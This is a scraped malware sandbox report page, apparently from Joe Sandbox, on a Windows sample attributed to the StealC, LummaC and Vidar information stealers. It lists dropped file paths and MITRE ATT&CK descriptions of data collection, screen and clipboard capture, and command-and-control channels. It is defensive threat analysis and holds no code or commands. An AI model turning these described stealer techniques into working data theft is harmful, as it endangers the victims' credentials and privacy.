Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 45Ywq5ad5H.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BKFBAKFCBFHIJJJJDBFCAFIEBK

C:\ProgramData\CFCBFBGD

C:\ProgramData\DGIJECGDGCBKECAKFBGC

C:\ProgramData\DHIJEHJDHJKECBFHDHDH

C:\ProgramData\EGIIIECB

C:\ProgramData\GIEBAECAKKFCBFIEGCBK

C:\ProgramData\GIEHIDHJDBFIIECAKECBKJJKKE

C:\ProgramData\IEHIIIJDAAAAAAKECBFBAEBKJJ

Windows Analysis Report
45Ywq5ad5H.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre